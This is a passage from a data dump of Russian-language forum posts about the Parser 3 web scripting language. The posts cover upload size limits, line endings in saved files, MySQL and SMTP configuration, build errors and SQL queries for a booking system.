$dtEnd[^date::create[2007-02-10]]\
^while($dt <= $dtEnd){\
	$dt.year/$dt.month/$dt.day\
	^dt.roll[day](1)\
}[<br />][/code]"
"61477","Хочу сказать спасибо за данный класс\
\
Но проблема в наладке локально...\
локально работает только\
   ^oImg.info[$sFileSrc]\
   ^oImg.watermark[$sFileSrc;$sFileDest;$sWMFile;$hParams]\
   ... остальные дают ошибку /method of file (stateless_class) accepts maximum 12 parameter(s)/\
\
...а на мастерхосте всё замечательно работает\
\
на мастерхост поставил - NConvert v4.79 для FreeBSD 6.x\
локально - NConvert v4.79 для Windows 9x/Me/NT/2K/Xp/Vista\
с этого [url=\"http://perso.orange.fr/pierre.g/xnview/en_ncdownload.html\"]сайта[/url]"
"61479","Спасибо, помогло :)"
"61480","при попытке закачать на сервер и обработать текстовик на 3 мега происходит отвал. подскажите где можно выставить настройку размера максимального закачиваемого файла?"
"61481","[code]$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
][/code]\
в байтах. Поставьте, сколько считаете нужным."
"61482","Не не помогло, всеравно \
The page cannot be displayed\
Видимо браузер отваливается по таймауту или еще что-то...\
При этом небольшие до полумега файлы воспринимает на ура."
"61483","Вот Код:\
$file[^file::create[text;${account}.txt;организация^#0A${user_number.organization}^#0A${user_number.inn}^#0A${user_number.kpp}]]\
^file.save[text;/files/payment/${account}.txt]\
\
При сохранении, на платформе Windows сохраненяет файл нормально, т.е. переносы каретки ставит. А на Unix'ах файл сохраняется, без переносов, но ставит прямоугольный символ переноса.\
\
В чем может быть проблема??\
Заранее благодарен!!!"
"61485","[code]\
$tTable[^table::create{data}]\
^tTable.append{организация}\
^tTable.append{$user_number.organization}\
^tTable.append{$user_number.inn}\
^tTable.append{$user_number.kpp}\
^tTable.save[nameless;/files/payment/${account}.txt]\
[/code]"
"61487","Пытаюсь ставить удаленно сервер на Windows 2003. Плюс MySQL. Плюс парсер.\
MySQL скачал самую последнюю, которая там есть: 5.0.41\
Запускаю сайт, парсер пишет в лог:\
[code]Client does not support authentication protocol requested by server; consider upgrading MySQL client[/code]\
Что делать?"
"61489","будет хотеться, попросим smalex'а, он сделает.\
небольшой циклик добавить = ерунда."
"61490","Все то же самое. Пароль точно поменялся, но подвижек никаких."
"61491","... поставил его вместо того, что поставлялся с парсером и вроде все заработало. Что-нибудь потом вылезет или эту библиотеку можно использовать?"
"61492","[b]Вопрос намбер уан[/b]\
\
Переменная окружения $env:REMOTE_ADDR - ip пользователя - единственный способ идентифицировать пользователя?\
\
[b]Вопрос намбер ту[/b]\
\
Где можно найти исходники и/или пример быстрого и качественного поиска по сайту?\
\
Заранее благодарна."
"61493","1. Всмысле, идентифицировать? Это только СОРМ-2 может =) А REMOTE_ADDR это просто IP. А для чего смотря?\
\
2. http://www.mnogosearch.org/ — пойдёт?"
"61494","и проверяем заполненность переменной $env:HTTP_X_FORWARDED_FOR\
\
Поисковик - http://company.yandex.ru/technology/products/Yandex-Server/features.xml"
"61495","Я тут че-то запарился с созданием модуля поиска. Никто не подскажет, как можно вывести не только заголовки , но и мелкое описание совпадений как в гугле, когда ищешь по 1-2м колонкам в базе данных?\
там, я понимаю, с $string.match надо поиграться, только вот если ищется не 1 слово, а фраза - там ведь идет разбиение по пробелам, выкидываются слова из 3х букв. По форуму искал, находил только фразу - воспользуйтесь поиском!\
может у кого уже есть класс поиска - не поделитесь? ))))"
"61496","К сожалению, такой метод не решил проблемы. Два дня уже с этим бъюсь. Может быть есть еще у кого варианты???"
"61497","http://www.dataparksearch.org/ - поисковик по сайту или группе сайтов, с открытым исходным текстом, GPL, написан на C."
"61498","Здравствуйте.\
\
Задача следующая, надо организовать закачку на сервер файлов до 10Мб, все реализовано по документации, однако если закачивать файл примерно мега на 2 то происходит отвал, the page can not be displayed…\
\
При этом на не больших файлах все работает уверенно.\
\
Находимся на выделенном серваке с инетом тоже проблем нет. Подскажите пожалуйста где искать затык?"
"61500","по мнению этого кода\
\
[code]  \
  $total[0.00]\
  ^bask.menu{\
    $total[^eval($total + $bask.quantity * $bask.price)]\
  }\
[/code]\
\
это выражение:\
\
1 * 734,65 + 2 * 980,17 = 2695.02\
\
а по моему мнению (с калькулятором) оно равно 2694,99\
подскажите, в чем тут дело?\
\
База в MySQL поле price DECIMAL(10,2)"
"61502","[code]^eval(1*734.65+2*980.17)[/code]\
возвращает в аккурат 2694.99"
"61503","-> что вместо библиотеки libmysql.dll, которая подается с парсером (вес - меньше мегабайта) я стал использовать такую же библиотеку из дистрибутива PHP (вес 1.4Mb) ? Или в этом нет ничего страшного?"
"61504","Объясните, зачем вам это вообще понадобилось."
"61505","Проблем не было.\
Только мы брали библиотеку из поставки mysql клиента."
"61507","выражение [code]^eval($total + $bask.quantity * $bask.price)[/code]\
и выражение 1 * 734,65 + 2 * 980,17\
\
в общем случае не могут давать одинаковый результат, хотя бы потому что в них разное количество операндов (3 и 4)\
\
так что есть подозрение что вы сравниваете разные вещи и где то ошиблись, к тому же разделитель целой и дробной части в числе - точка, а не запятая.\
\
Как уже написал agat, выражение \
^eval(1*734.65 + 2*980.17) дает вполне ожидаемый результат - 2694,99 прям как в калькуляторе"
"61508","Полученные данные нужно, грузить в 1С, а он не прожевывает."
"61509","вы же сами пишете в качестве разделителя - ^#0A, тогда как под windows принято ^#0D^#0A (парсер дописывает ^#0D автоматически под виндой и не дописывает под unix)\
\
Ставьте ^#0D^#0A в качестве разделителя - и будет Вам счастье.\
\
только лучше использовать класс string конкретно для вашей написанной задачи, т.е.\
[code]$sAccountData[организация^#0D^#0A${user_number.organization}^#0D^#0A${user_number.inn}^#0D^#0A${user_number.kpp}]\
^sAccountData.save[/files/payment/${account}.txt][/code]\
\
Кстати, если Вы свой файл откроете в любом мало мальски продвинутом виндовом редакторе (за исключением блокнота) - то увидите результат как и ожидалось - с нормальными переносами (наверно это пинок в сторону 1С, могли бы и отцикливать эту ситуацию)"
"61511","вы файл забираете по ftp, и забываете указать тип скачиваемого файла в 'TEXT'.\
\
он скачивается байт в байт как он есть (так называемый BINMODE), и при открытии в notepad отображается с \"квадратиками\" вместо переносов строк.\
\
если так, поищите в настройках вашего ftp клиента опцию \"скачивать в TEXTовом режиме\"."
"61512","Не сталкивались?\
Щас нет под рукой линукса, и не на чем проверить, но кажется по smb файлы всегда передаются в binmode?\
\
Просто вполне нормальная схема, расшаривания сетевого диска через smb для работы виндовых приложений, например 1C."
"61513","таким геморным алгоритмом можно переложить заботу о переносах на плечи Парсера, и не возиться с 0A 0D. Код навскидку.\
\
Вы бы предложили свой не_ужасный алгоритм. а мы бы посмотрели и оценили ваш уровень, и, возможно, поучились бы. Я не думаю, что данный форум место, где следует меряться ... что там у вас лучше?"
"61514","Непонятно зачем создается именованная таблица, если она тут же сохраняется как безымянная.\
\
Ваш алгоритм не решает проблемы товарища GONGADZE, потому что под unix ^#0D все равно не появятся. \
\
\"Перекладка\" же возни с переносами не требуется в принципе, парсер переносы ставит в автомате в любом случае, поэтому Ваш код, без проблем махается на вот такой:\
[code]$tData[^table::create{организация\
$user_number.organization\
$user_number.inn\
$user_number.kpp}]\
^tData.save[/files/payment/${account}.txt][/code]\
\
и даже такой:\
\
[code]$sData[организация\
$user_number.organization\
$user_number.inn\
$user_number.kpp]\
^sData.save[/files/payment/${account}.txt][/code]\
\
а результат будет совершенно таким же, только работать оно будет в два раза быстрее и читаться гораздо легче.\
Но в данном конкретном случае, поскольку переносы строк имеют значение - я бы их выделял явно, чтобы их сразу было видно, к тому же не будет  зависимости от форматирования кода:\
\
[code]$sData[организация^#0A$user_number.organization^#0A$user_number.inn^#0A$user_number.kpp]\
^sData.save[/files/payment/${account}.txt][/code]\
\
\
P.S. Имя $tTable вызывает ощущение, что правило выучили, а смысл не поняли. Иначе почему бы не назвать ну хотя бы $tData или даже просто $t (раз уж в торопях и \"навскидку\")?\
\
Не обижайтесь, никто ничем с вами не меряется\
\
P.P.S. Только не забывайте, что речь идет о вполне конкретном случае, поэтому не надо например спашивать, \"а если полей будет 200?\" или \"а если нам нужно будет эти данные обработать как таблицу?\". Возможно в других случаях и при других задачах подход будет нужен другой :)"
"61515","Задача, стояла следующая. С 1С признаюсь, дело ни разу не имел. В интернет магазине формируется счет, и сохраняется в txt файл и сразу же отправляется двум менеджерам на почту, для дальнейшей загрузки в 1С, это желание заказчика. Все возможные, варианты сохранения строк в файл, я перепробовал до того как написал на форум. Задача сейчас решилась, на стороне клиента, т.е. файл грузиться в таком виде в 1С без проблем надо было код подправить в 1С.\
Но вопрос остается открытым??"
"61516","Как эти м пользоваться:\
\
[code]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]\
\
[/code]\
\
что нужно написать чтобы закачивались файлы например весом 300мб ?"
"61517","если бы отваливался парсер, вы бы получали ошибку типа\
[code][b]posted content_length(533032) > $LIMITS.post_max_size(307200) [parser.runtime][/b][/code]\
\
А так, у вас, похоже ограничения на самом сервере. Узнайте подробности у технической поддержки.\
\
P.S. Управлять переменной $LIMITS просто: 1*0x400*0x400 - размер в 1 мегабайт. Если вам нужно 300 - укажите 300*0x400*0x400, ну, или сколько вам нужно. Кроме того, я считаю, что загружать файлы такого объема проще и надежнее по FTP."
"61518","Вроде бы PAF сам советовал в таких ситуациях брать библиотеку из поставки MySQL."
"61519","На втором парсере для рассылки по подписчикам используем ^sendmail[].\
\
^context[all_user;\
  ^menu[\
     ^sendmail[...]\
  ]\
]\
\
Если подписчиков больше 50-ти -- рассылка зависает.\
Как бороться с этим?\
Можно ли вообще на втором парсере как-то организовать рассылку?\
Сайт там переписывать нерентабельно. Рассылка там раньше не использовалась -- а теперь вот понадобилась."
"61520","Парсер версии 3 славится своим ООП.\
Разъясните, где к нем реализуется перезгрузка операторов, полиморфизм а также ссылки на переменные???\
В документаци об этом ни слова!!!"
"61521","в документации написано что парсер - макроязык"
"61524","В логах чистота и порядок, ошибок нету, по крайней мере в логе парсера. Ощущение что файл просто недозакачивается и происходит отвал браузера."
"61526","На просьбу дать версию ос мне ответили FreeBSD 6.2-RELEASE-p5.\
Поясню, хостер - PETERHOST.ru Закачав скрипт parser3.cgi в cgi-bin,и конфиг. файлы туда же и выставив права 775 на ВСЕ файлы, залил .htaccess в public_html, открываю страницу - внутренняя ошибка сервера. \
\
Вот логи ошибок:\
\
/usr/libexec/ld-elf.so.1: parser3.cgi: Shared object has no run-time symbol table\
[Sun Jul 15 12:32:48 2007] [error] [client 88.204.194.167] Premature end of script headers: /home/deart/www/site1/cgi-bin/parser3.cgi\
Я понимаю, сейчас наверно все отправят в FAQ, но все таки я прошу помочь решить проблему, запарился я уже, а хостинг надолго оплатил. Александр Петросян, пожалуйста помогите, что сделать?"
"61527","http://www.parser.ru/forum/?id=23141\
http://www.parser.ru/forum/?id=46911\
\
за 2002 год\
http://www.parser.ru/forum/?id=9764\
\
Вы в каком режиме заливаете файл по ftp ?"
"61528","Есть ли класс авторизации использующий новые классы Lib и Sql?"
"61543","-> не работает, зато работает из PHP."
"61544","[quote]The mail server doesn't like the name ***@***.**. Have you set the 'To: ' field correctly?[/quote]\
\
Это возникает при попытке отправить письмо. Темы уже здесь обсуждались, только я не нашел описания решения проблемы.\
Везде написано:\
1. Попробовать вместо \"Name <adr@to.do>\" писать \"adr@to.do\", я так и делаю. У меня только чистые адреса.\
2. В auto.p поменять $.SMTP[smtp.domain.ru] на $.SMTP[localhost], но при этом советуют этого не делать.\
\
И, ээ..., так как исправить проблему?\
Я пока поставил $.SMTP[localhost], но если не рекомендуют этого делать, что тогда порекомендуете?\
\
На сервере: ОС Windows 2003\
Parser: 3.2.1\
\
И еще вопрос - так что означает $.SMTP[smtp.domain.ru] и для чего это нужно?"
"61546","Знаю, что когда вышел MySQL 5.0 в комплекте с Parser'ом была библиотека помоему из комплекта MySQL 4.x/3.x. Поэтому она разумеется не подходила Парсеру для общения с БД.\
\
P.S. Откуда точно брали библиотеку? Напишите подробнее, т.к. я сомневаюсь, что библиотека из установленного комплекта MySQL может выдавать данную ошибку."
"61547","Вообще-то это на первой странице написано.\
\
[quot]\
Parser 3 — простой и удобный объектно-ориентированный язык, позволяющий быстро создавать хорошие сайты.\
[/quot]\
\
Полиморфизм есть, перегрузки нет.\
Если добавить несколько своих утилитных классов, то можно писать вполне объектно-ориентированный код.\
\
Кстати, внимание... если у вас есть ООП язык, это ещё не значит что вы пишете ООП код. Этому тоже надо учиться."
"61548","Есть cgi-версия парсера, лежащая в каталоге cgi-bin и имеющая права доступа rwxr-xr-x. Что надо добавить в файл .htaccess, чтобы подключить парсер для html страниц?"
"61550","под Windows для отправки почты Парсер использует SMTP-сервер, адрес которого указывается в конфигурационном файле. Проще говоря в этом самом файле необходимо найти строчку\
[code]$.SMTP[smtp.domain.ru][/code]\
и заменить [i]smtp.domain.ru[/i] на адрес SMTP-сервера вашего хостера.\
\
Если сервер отправки почты находится на той же машине что и веб-сервер, то вместо адреса вполне проходит [i]localhost[/i].\
\
А где это не рекомендуют использовать localhost? я что-то не нашел..."
"61552","Вот тут: http://www.parser.ru/forum/?id=61403\
Но спасибо, значит буду так и работать."
"61553","Подскажите, как вытащить из таблицы строку по номеру?\
Я пишу вот такой код\
\
[code]$parts_anonce[^anonce.split[|;lv]]\
$parts_anonce.piece.[1][/code]\
\
возвращает ошибку:\
[quote]1\
string method not found[/quote]"
"61555","Добрый день. Возможно ли такое? Стоит задача по условию проверять сколько раз был запрошен файл с сервера и если лемит превышен отдавать что-то другое! $response:download[DATA] - НЕ ПОДХОДИТ, так как ссылки должны быть прямыми и могут устанавливаться на разных сайтах? Если такое возможно - не подскажите ли логику? В какую сторону думать!!!"
"61556","Выдается ошибка при использоваии оператор ^if - ^main:if needs at least two agruments (one present).\
Код простой ^if(def $somevar) {TRUE} {FALSE}\
Что делать???"
"61558","в общем случае — http://www.spearance.ru/parser3/rating/"
"61559","Вобщем случае, этот пример я знаю. А в моем частном случае он не подходит, так как ссылки на файл будут стоять на разных сайтах. И там о Парсере речи быть не может... Ну чем то ведь можно подсчитать количество обращений к файлу??? Может чем то еще?"
"61560","Можно давать ссылку вида /path/to/file/, а в коде писать\
\
[code]...\
$iCount($iCount + 1)\
...\
$response:location[/path/to/file/file.ext][/code]\
\
При этом произойдёт внутренний редирект, и адрес в браузере не изменится."
"61561","[code]$parts_anonce[^anonce.split[|;lh]]\
$parts_anonce.1[/code]"
"61562","Вся проблема в том что это могут быть изображения и вставляться они могут в html код как IMG src=\" И ТУТ МОЙ СЕРВЕР, С КОТОРОГО ГРУЗИТЬСЯ ИЗОБРАЖЕНИЕ \" Тоже самое соответственно с любым мультимедиа который может быть добавлен код. Так вот! Как мне в данном случае отсчитать, к примеру, 1000 запросов изображения, а на 1001 не отдать? В случае с $response:location я так понимаю не получиться! Или я не прав?"
"61563","Поспешил с выводами, работает и с картинками! Теперь додумаю, как  это подстроить под себя!!! За совет, спасибо огромное!"
"61565","Скопировал из справки по парсеру этот код\
[code]\
$s[A magic moment I'll remember!] \
Исходная строка: $s<br> \
$rep[^table::create{from   to \
A An \
magic   ugly}] \
Исковерканная строка: ^s.replace[$rep] [/code]\
\
Но у меня получается:\
Исходная строка: A magic moment I'll remember!\
Исковерканная строка: A magic moment I'll remember!\
\
использую денвер со встроенным парсером.\
\
что делать?"
"61566","пример заработал, а мой код нет :-(\
клиника какаято сегодня. наверное жара действует разлагающе на мой неокрепший мозг :-)"
"61567","У вас табилица разделена не tab-delimited, а пробелами. В примере тоже самое. Исправьте это: удалите пробелы и выставите разделение Tab'ом и будет вам счастье."
"61568","понял."
"61570","Есть <select ...> с опшенами. Первая опция \"Выберите элемент\", и вся проблема в том, что надо как-то запретить пользователю выбрать этот первый элемент.\
\
Получилось что-то типа selObj.options[0].disabled = true , но как-то некузяво...\
\
Как вариант - удалить при фокусе (чтобы айди выбранных элементов всегда были одинаковы), но пичиму-та не работает, сабака!\
\
Плиз, хельп!"
"61571","вариантов решения этой задачи масса, и не обязательно яваскриптом. Посмотрите на других сайтах в исходниках, и поймете как реализовано.\
А вообще вы не сказали о главном, зачем вам это надо?"
"61572","[quote]IMG src=\" И ТУТ МОЙ СЕРВЕР, С КОТОРОГО ГРУЗИТЬСЯ ИЗОБРАЖЕНИЕ \"[/quote]\
\
src, в принципе, может быть любым, хоть http://www.yourserver.com/img.html, лишь бы по этому адресу нам выдавали картинку"
"61573","Если я правильно понял, объект типа sampleType, у которого стоит флажок is_fake, отображается в дереве таким образом:\
<branche type=\"sampleType\" is-fake=\"1\" ... />\
\
При этом путь дочерних объектов строится относительно пути объекта, являющегося родителем фиктивного.\
\
Все правильно?"
"61575","не присваивайте этому варианту значения, или присвойте дефолтное.\
Но не надо выхватывать из рук у пользователя пункт, который он выбрал."
"61577","В переменной $insert хранится предложение без точки на конце. как мне эту точку поставить? Если я напишу [code]$insert .[/code] то между фразой и точкой будет пробел. А как сделать что бы пробела не было?"
"61578","1. http://www.parser.ru/faq/lang/\
2. http://www.parser.ru/docs/lang/vars.htm\
\
Пожалуйста, прочтите FAQ и документацию, прежде чем писать на форум."
"61579","всё так, только вместо использования is-fake просто опускается атрибут href"
"61580","Огромное спасибо за ответ. Пять раз прочитал, а пока носом не ткнули - не увидел :-)"
"61581","Не первый раз наблюдаю такую картину - висит 100 и более процеесов parser в top."
"61584","Такая вот проблема, для откладки сайта использую набор Web-разработчика Денвер-2. \
Вообщем Денвер-2, по идее может для тестирования почты отосланные письма ложить в откладочную заглушку-директорию /tmp/!sendmail. Что собственно и нужно.\
\
Не получается настроить маил. В коренном auto.p прописал:\
[code]@auto[]\
# Определяем SMTP сервер\
$MAIL[\
$.SMTP[localhost]\
][/code]\
\
Для пробы создал файл mail.html с кодом:\
[code]^mail:send[\
$.to[to@test.net]\
$.from[from@test.net]\
$.subject[Обратная связь]\
$.text[Тестовое сообщение]\
][/code]\
\
При попытке обращения, на локал-адрес http://parser/mail.html начинает ругаться:\
send\
connect to localhost:25 failed\
z:/home/parser/www/mail.html(1:7)"
"61585","ошибок в логе парсера нет...\
хэшфайлы открываются в корневом auto.p\
 записываются, читаются и перерисваиваются  где попало\
\
\
[code]$vv2[^hash::create[$MAIN:vv2]][/code]\
Здесь нет ничего криминального?"
"61586","часто это связано с тем, что sendmail настроен так, что немедленно пытается отправить письмо.\
\
при проблемах с почтой домена получателя это вызывает задержку. получаем \"зависает\".\
\
в parser3 это выглядит ровно так же, но в parser3 есть возможность выставить опцию sendmail \"не пытайся отправлять прямо сейчас\". см. документацию и форум.\
\
варианты с parser2: \
1. аккуратно вести учёт кому и что рассылали и удалять из списка рассылки те адреса, что выдают ошибки или обрабатываются очень долго.\
\
2. отправлять письма с помощью вспомогательного .sh скрипта, который добавит ключ sendmail \"не пытайся отправлять письмо прямо сейчас\", см. документацию на sendmail.\
\
3. использовать специальные программы."
"61587","в parser есть переопределение. то, что в других языках называется function overload у нас нет.\
\
с полиморфизмом всё просто, все методы виртуальны.\
\
ссылки на переменные реализованы в модели C#, когда все переменные, кроме простых типов, суть ссылки."
"61588","Добрый день. А можете ли Вы показать исходники оформления форума, если конечно они не засекречены, а то больно уж он мне нравиться! А то я с этим месяц мучаться буду и не факт что получится, а так бы на примере уже дорабатывал бы."
"61589","Какие халявные хостинги поддерживают Парсер?"
"61590","Такие цены есть [url=\"http://ruweb.net/?page=price&plan=M30T500B-US&from=4738\"]тут, например[/url],  в цену входит CGI и MySQL. Можете погулять по всяким сводным табличкам, типа хостобзора-ру - дешёвых вариантов масса.\
\
C бесплатными хостингами лучше не общайтесь - оторвите от сердца стоимость бутылки пива, зато сбережёте море нервов."
"61591","Весьма согласен, что лучше перейти на платный хостинг, только подскажите, пожалуйста, какой лучше?"
"61592","Вообщем то, за списком ходить далеко и не нужно...\
http://www.parser.ru/hosters/"
"61593","что имеется ввиду под \"оформлением\"?"
"61594","Попробуйте так:\
\
[code]$MAIL[\
	$.sendmail[your sendmail command goes here]\
][/code]"
"61595","нареканий не имею. Там вроде как предлагается бесплатный тестовый месяц - поэкспериментируйте сами, ведь, как говорят  бледнолицые, \"your mileage may vary\"."
"61596","send\
$MAIN:MAIL.SMTP not defined\
z:/home/parser/www/mail.html(1:7)"
"61597","не тормозит?\
часто ли падает?"
"61598","сами пробуйте. это бесплатно."
"61600","Попробую объяснить на своем ломаном русском :-). На сколько я понимаю, структура базы данных и методы у него аналогичные, как у этого форума и других (древненький форум Яценко, .COM Rafael'я, CMS Mouse Klen'a). Все они имеют древовидную структуру. Так вот сейчас меня интересует классический, как у вас, плоский вывод форума. Я не могу понять как его таким образом формировать? формируется он с помощью XML и XSL шаблонов? Или я ошибаюсь? Вобщем, самому мне написать такой шаблон - \"слабо\", потому, что XML для меня \"темный лес\"."
"61603","Видимо, виндовый Парсер позволяет отправлять почту только через SMTP."
"61604","У всех сообщений форума есть thread_id — идентификатор ветки.\
У корня он равен 0.\
\
Достав из БД сообщения по критерию thread_id = x, имеем таблицу с сообщениями ветки.\
Отсортировав при доставании по дате в прямом порядке имеем полную готовность к выводу.\
Дальше menu этой таблицы и всё.\
\
Вывести линейно ветку сильно проще, чем построить дерево.\
\
Конечно всё это выводится в xml и трансформируется xsl-шаблоном.\
\
Ничего экстраординарного там нет.\
\
Если интересует реализация конкретных мест — спрашивайте.\
\
Код открыть планируется.\
Вы не первый, кто им интересуется.\
Да и, наверное, полезно было бы, в качестве примера.\
Но пока он не причёсан и показывать его как есть мне стыдно, потому, хотелось бы привести в порядок, после чего показать."
"61605","[quote]отосланные письма ложить[/quote][b]Класть.[/b]\
\
В Денвере нет SMTP-сервера, только чучело sendmail'а. Под Windows Парсер не умеет пользоваться sendmail.\
\
Если у вас на компьютере есть Perl, воспользуйтесь этим решением - http://www.parser.ru/forum/?id=28648\
\
В конце этой страницы - http://www.parser.ru/download/utils/ - есть то же самое, но собранное в виде полумегабайтного *.exe файла (Perl не требуется)."
"61610","При сборке парсера получается следующая ошибка:\
mmon.Tpo\"; exit 1; fi\
../types/pa_method.h:77: error: extra qualification 'Method::' on member 'Method'\
make[2]: *** [pa_common.o] Error 1\
make[2]: Leaving directory `/home/swood/Documents/works/parser/parser-3.2.1/src/main'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/home/swood/Documents/works/parser/parser-3.2.1/src'\
make: *** [all-recursive] Error 1\
\
Помогите определиться, чего не хватает, файлов, или это ошибка в make-файле. Касаемо прав, то команда запущена из под root. Ос linux."
"61612","Смотрите - http://www.parser.ru/forum/?id=55597\
\
Я так понимаю у вас GCC 4-ой версии. С ним версия 3.2.1 не собирается. Можете взять Парсер из CVS и собрать, проблем не должно быть."
"61613","Спасибо за подсказку, не сообразил сразу.\
Тогда вопрос по-другому немного поставлю, а именно, как собрать парсер в 64-битной системе без рутовых прав?"
"61614","Если судить по сообщениям на данном форуме.\
\
Насчет root-прав я вообще не понял в чем проблема. Вроде как нет проблем собрать Парсер от любого пользователя, там же установка идет в $HOME."
"61615","а для их уменьшения надо, не только уменьшать $.expires но и время от времени их специально перебирать?\
Какой размер считается предельно допустимым?\
у меня pag был 131 мб\
а dir 16384 байт"
"61617","какого максимального объема данные рекомендуется хранить в файликах?\
как оптимизировать?\
Задача: хранить несколько(штук 10)значений форм долгое время(дней 60)"
"61618","foreach по всем хешфайлам?\
скорость $sessions.$sid зависит от размера файла?"
"61619","я делаю так - в крон ставлю задание, которое проверяет есть ли почта в очереди беру от туда пачку,оправляю, удаляю из очереди."
"61621","проблема есть с сборкой библиотеки gc, которая в linux-системе кладется не только в папку src и gc, но и в /usr/local/lib, куда прав на запись у обычного пользователя нет. Соответственно компиляция этой библиотеки происходит не полностью, а именно не происходит создания симлинков, на сколько я понимаю, и при сборке самого парсера мы получаем фигу!!! =))\
\
Что же касается принципиальной сборки парсера в рамках 64-битной системы, то вопрос остается открытым, т.к. разработчики не учитывают того, что на многих хостингах стали появляться подобного плана машины, и соответственно пользователи этого продукта не могут им пользоваться не по вине хостера!!!"
"61622","[quot]\
проблема есть с сборкой библиотеки gc, которая в linux-системе кладется не только в папку src и gc, но и в /usr/local/lib\
[/quot]\
Вы точно в этом уверены?\
Я часто собираю Парсер, никогда не использую для этого root-аккаунт, тем более у меня даже прав нет на доступ в /usr/local/lib.\
Судя по http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/buildall-with-xml?rev=1.12&content-type=text/vnd.viewcvs-markup  такого быть не должно.\
Либо это разработчики GC постарались?... Что тоже мало вероятно.\
\
Попробуйте ввести в командной строке \"pwd\" и посмотрите на результат.\
[quot]\
... принципиальной сборки парсера в рамках 64-битной системы, то вопрос остается открытым, т.к. разработчики не учитывают того, что ...\
[/quot]\
Не не учитывают, а у них на это нет необходимости.\
Если бы в студии была необходимость, то все было бы. Но так как ее нет, то всегда есть возможность самим найти программиста на C и прислать потом патч."
"61623","Приветствую!\
\
Делаю (точнее пытаюсь) простую панель бронирования...\
\
Вроде бы чего сложного? — ан нет.\
\
Сделал две таблицы в БД MySQL\
\
1. tblObjects\
id	value\
1	Object 1\
2	Object 2\
3	Object 3\
\
2. tblBooking\
id	oid	dt_begin		dt_end\
1	1	2007-07-01 10:00	2007-07-05 10:00\
2	1	2007-07-10 15:00	2007-07-15 15:00\
(oid — id объекта из первой таблицы)\
\
Нужно вывести свободные объекты, к примеру, на период с 5.07 по 10.07\
\
Т.е. должно получиться:\
\
Object 2 свободен на этот период\
Object 3 свободен на этот период\
Object 1 свободен с 10:00 05.07 по 15:00 10.07\
\
--\
\
Буду признателен любому совету, ибо сам не представляю как это сделать :-("
"61625","Насколько я понимаю, храните в таблице бронирования вы периоды свободы объектов.\
Навскидку:\
[code]\
SELECT\
boject.id AS object_id,\
boject.value AS object_name,\
IFNULL(bbooking.dt_begin, 'free') AS period_start,\
IFNULL(bbooking.dt_end, 'free') AS period_finish\
FROM\
tblObjects AS boject\
LEFT JOIN tblBooking AS bbooking\
ON (boject.id = bbooking.oid)\
WHERE\
(\
 bbooking.dt_begin >= '2007-07-01'\
 AND bbooking.dt_end <= '2007-07-10'\
)\
OR (bbooking.dt_begin IS NULL AND bbooking.dt_end IS NULL)\
[/code]\
(индекс по oid, dt_begin, dt_end сильно желателен)\
\
Для доставания информации это хорошо, идеологически — неверно.\
Т.к. в этом случае, вам нужно держать периоды для всех объектов.\
\
Правильнее хранить периоды занятости объектов, соотвественно, на свободные объекты тогда записи не нужны.\
Но как тогда вычислять период свободы забронированного объекта — сходу не соображу, надо подумать."
"61626","Обратное было бы не логично :-)"
"61627","[url=\"http://rf.foto.radikal.ru/0707/a4/266407c207f6.gif\"]timeline скриншот[/url] (6 КБ)\
\
tblBooking\
[code]\
id	oid	dt_begin		dt_end\
1	1	2007-07-01 10:00	2007-07-10 10:00\
2	1	2007-07-15 15:00	2007-07-20 15:00\
3	2	2007-07-08 8:00		2007-07-12 8:00\
4	3	2007-07-05 12:00	2007-07-10 12:00\
5	4	2007-07-03 15:00	2007-07-08 15:00\
6	5	2007-07-15 20:00	2007-07-25 20:00\
[/code]\
\
[b]Запрос:[/b] 10.07.2007 — 15.07.2007\
\
[b]Вывод:[/b]\
\
Obj 4 (свободен)\
Obj 1 (свободен с 10.07 10:00 по 10:00 15.07)\
Obj 3 (свободен с 10.07 12:00)\
Obj 5 (свободен до 15.07 20:00)\
\
\
Надеюсь, так будет более понятно..."
"61629","При генерации одной большой картинки из нескольких маленьких с помощью parser, иногда «теряются» цвета на большой картинке.\
\
В чём может быть проблема? Возможно, кто-то уже сталкивался?"
"61630","http://www.parser.ru/docs/lang/imagegif.htm"
"61632","Спасибо, проблема решена"
"61635","А что если на объект будет несколько записей занятости в течение срока выборки?\
Какие данные вы тогда ожидаете получить, два три диапазона свободы?.."
"61636","В чем засада?"
"61637","Смысл в том, что канонически — всё просто. Есть куча объектов в базе, все выбираются исходя из некоторых критериев поиска. Будь то Коттедж или нет, расположение там-то, метраж такой-то, стоит столько-то. Всё это вводится в админке и спокойно выводится посетителю.\
\
Собственно, встал вопрос о сотворении оной вещи. Но...\
\
Бритва Оккама подсказала, что так просто это не будет. Люди зарабатывают деньги не тем, что размещают у себя 500 объяв, а тем, что некоторые из этих объяв располагаются по некой схеме.\
\
Та штука, которая управляет объектами и с которой я повидался, выглядит... ну, убого. То есть представляем себе 1000 позиций, и все они вываливаются в админке на одну страницу. Потом, ясное дело, человек жмёт Ctrl+F и ищет что ему надо. Это — неудобная жопа.\
\
Второй момент — это сам механизм отображения некоторых объектов посетителю. Там предусмотрена система рейтинга. У каждого объекта есть отностиельный рейтинг — -10...0...+10. Чем выше рейтинг, тем вероятнее то, что он будет выше в поиске. То есть если ставишь +10 то на первой странице точно. «Но это же очень абстрактно!» — сказал я. Ведь если в поиске будет 3 таких объекта, то они будут сортироваться по следующим критериям: по цене, по удалённости, по чему угодно — рейтинг важнее. А это неправильно! У обоих могут быть разные параметры, по которым они отсортируются математически правильно, но за один объект заплатили 1 р. за первое место, а за другой 10 р.\
\
Но это всё демагогия. Я хотел придумать универсальную систему именно управления этими объектами в админке. Но уже думаю недели две...\
\
http://www.artlebedev.ru/tools/technogrette/etc/adm/\
\
Вот тут хорошая вещь именно для визуализации того, что делает человек. Я подумал, что один из вариантов это сделать так, чтобы человек тупо расставлял объекты на нужные места. Потом подумал, а что если их будет 1000. Потом подумал, а что если расставлять на нужные места только «нужные» объекты. То есть из этой тысячи, скажем только 30 должны выводится в определённом порядке. Человек их распихал по квадратикам, предварительно поставив галочки на тех объектах, которые должны иметь абсолютное место.\
\
Таким образом, посетитель вводит критерии поиска, из базы вынимается всё, что им удовлетворяет, но в две таблицы. Первая с теми объектами, которые имеют абсолютную позицию, вторая — без них. Первая сортируется по этой позиции, вторая — как надо. Лепится вместе первая и вторая таблица, и потом на вывод.\
\
